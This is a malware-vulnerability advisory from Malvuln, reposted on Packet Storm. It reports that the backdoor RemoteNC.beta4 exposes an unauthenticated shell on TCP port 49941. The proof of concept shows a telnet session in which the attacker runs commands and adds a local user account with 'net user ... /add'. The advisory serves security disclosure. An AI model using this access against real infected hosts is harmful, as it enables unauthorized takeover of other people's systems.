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Backdoor.Win32.RemoteNC.beta4 Remote Command Execution

🗓️ 04 Mar 2022 00:00:00Reported by malvuln, malvuln.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 309 Views

Backdoor.Win32.RemoteNC.beta4 Remote Command Execution vulnerability on TCP port 49941 allows unauthenticated remote OS command executio

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/2862de561d91eedb265df4ae9b0fc872.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.RemoteNC.beta4  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 49941. Third-party attackers who can reach an infected host can execute any OS commands hijacking taking over the system.  
Family: RemoteNC  
Type: PE32  
MD5: 2862de561d91eedb265df4ae9b0fc872  
Vuln ID: MVID-2022-0507   
Disclosure: 03/03/2022  
  
Exploit/PoC:  
c:\>telnet.exe x.x.x.x 49941  
  
===============Meteor Soft Labs. 1995-2001 All Rights Reserved.===============  
=========Written by AssHoles, Server Edition [email protected]==============  
Microsoft Windows [Version 10.0.16299.309]  
Slackbot:wwhhooaammii  
desktop-2c3iqho\victim  
Slackbot:ccaallcc  
Slackbot:nneett uusseerr hhyypp33rrlliinnxx 666666 //aadddd  
The command completed successfully.  
Slackbot:nneett uusseerr  
User accounts for \\DESKTOP-2C3IQHO  
-------------------------------------------------------------------------------  
Administrator DefaultAccount Guest  
hyp3rlinx Victim WDAGUtilityAccount  
The command completed successfully.  
Slackbot:  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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